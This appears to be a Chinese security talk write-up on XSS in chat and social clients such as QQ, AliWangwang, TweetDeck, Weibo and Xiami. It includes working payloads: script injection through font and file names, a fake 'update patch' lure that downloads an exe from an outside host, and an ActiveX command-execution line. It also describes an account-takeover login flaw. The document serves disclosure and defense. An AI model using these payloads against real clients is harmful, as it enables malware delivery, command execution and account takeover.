去年跨过的客户端

  1. HTTP域:弹弹框、盗个Cookie、蠕虫、…
  2. File域:本地文件域,没有一个明显的主机名与之关联,浏览器也就不能按照正常的方式来进行同源比较。不少客户端使用File域加载资源,使攻击者可以拥有较大的权限,执行危险操作。

腾讯QQ群XSS
  1. ?群资料名称调用WEB接口
  2. ?修改群名为Payload
  3. ?查看群资料触发跨站


阿里旺旺客户端XSS

一、概述

能显示表情图片成了现在的聊天软件必备基本功能,这就需要支持展示富文本的控件。聊天软件主要用到两种富文本格式:RTF和HTML格式RTF可以采用RichEditHTML可以选择浏览器内核,比如Windows自带的IE内核。

阿里旺旺用的就是IE内核作为聊天内容展示区,QQ使用的则是RichEdit,用浏览器内核作为展示的聊天软件,可能就存在被注入JS的风险。

二、测试

操作系统会提供当前已经安装的字体列表,比如:宋体、黑体、Verdana等等。这些字体名一般不会出现特殊符号,但通过修改内存、跨进程控制控件的方式可以修改字体名,根据规则:

  1. append("<font name=" + fontname + ">" + htmlencode(context) + “</font>")

可以添加一个字体名为:><script>alert('hello');</script解析后:<font name=><script>alert('hello');</script>context2</font>

三、结果

构造Payload保存字体后发送消息,接收方打开恶意网址进行软件下载安装,实施攻击。



腾讯客户端XSS
  1. ?Windows企业QQ最新版上线设置对外名片展示功能
  2. ?QQ头像mini资料展示好友名片,触发XSS
  3. ?多字段(称呼、职位)绕过长度限制


微信红包XSS



Twitter客户端TweetDeck XSS
    ?当Tweet中插入了Unicode字符“?”,Twitter会将其自动转换为心形的图案,并导致HTML过滤器失效,在TweetDeck中触发XSS。



新浪微博IOS客户端XSS
?WEB发表
?IOS客户端未过滤触发跨站漏洞


不同平台下的客户端“特性”
Windows
  1. ?用户基数量大
  2. ?调用WEB接口较多
  3. ?功能繁多,接口复杂
  4. ?研发团队投入力度大,安全性相对较高
Mac OS
  1. ?极简主义
  2. ?调用WEB接口少
  3. ?对用户输入过滤相对不够严谨
  4. ?用户基数量相对于Windows较少
IOS & Android
  1. ?调用WEB接口多
  2. ?WEB接口输入过滤相对不严谨
  3. ?两者移植性差,安全问题易被忽略

   混合通信所导致的安全隐患

WSL Tip 1    操作系统
?不同平台对文件名采取的命名规则不同,导致客户端在通信时存在某些安全隐患。
?修改文件名为Payload:
  1. <iframe onload=eval(String.fromCharCode(97,108,101,114,116,40,108,111,99,97,116,105,111,110,41,59))>.jpg
 

?Mac OS阿里旺旺发送构造好文件名后的文件
?Win客户端触发跨站



WSL Tip 2  接口位置
?Windows/Unix/Other平台客户端的非WEB接口输入数据在其他平台上可能会作为WEB接口的数据进行输出
?Windows版本阿里旺旺对群成员进行给予管理员/撤销管理员时会发送一条信息提醒, 在Win版本下直接输出,但在阿里旺旺 for Mac版本上会本地域加载消息提醒。
?抓取控件句柄做一个hook,绕过阿里旺旺群名片长度限制,修改阿里旺旺群名片为攻击代码。

?构造引诱下载后门的Payload:

  1. <div style='height:300px'></div><span style='font-size:20px'><b>阿里旺旺</b>更新补丁</span><a href=‘http://www.hackersoul.com/demo.exe‘/><img src='http://evi1m0.sinaapp.com/down.png'></a>

?Windows版本阿里旺旺对群成员进行职务操作时,会有消息提醒功能

?Mac OS版本阿里旺旺则会直接解析执行代码

?嵌入iframe标签弹出浏览器进行下载:

  1. <script>window.open (‘http://www.hackersoul.com/demo.exe','newwindow','height=1000,width=1000,top=0,left=0,toolbar=no,menubar=no,scrollbars=no, resizable=no,location=no, status=no’);</script>


Mac OS版本的企业QQ
?Mac OS版本的企业QQ联系方式处未过滤长度限制和特殊字符

一、QQ 发起会话时会访问用户名片,发起 http 请求,如:

  1.  http://id.b.qq.com/hrtx/clientcall/clientInfo/newAllInOne?objective_qquin=2333350888&orignal_qquin=123230273

二、QQ 客户端把这个 http 请求页面保存到本地 html 文件:

  1. C:\Users\AppData\Roaming\Tencent\QQ\Misc\com.tencent. hrtx\HRTXSideBarFrame_2355350877.html

三、QQ 客户端直接调用 file://协议运行这个 html 文件。


四、使用系统控件执行系统命令

  1. <script>new ActiveXObject("WScript.shell").Run('calc.exe',1,true);</script>


WSL Tip 3

?不同平台下的客户端接口策略存在差异。
?虾米音乐登录成功后会跳转:
  1. http://www.xiami.com/accounts/pcsuccess?user_id=12345678&type=XMac
?尝试修改user_id为其他用户id后未能登录成功
?但虾米音乐Mac客户端则会获取标识type=XMac登录标识,未做判断将修改后的URL标识进行登录,导致可登录任意用户


防御策略
  1. 1.多边界数据处理
  2. 2.跨平台开发沟通
  3. 3.完整的安全框架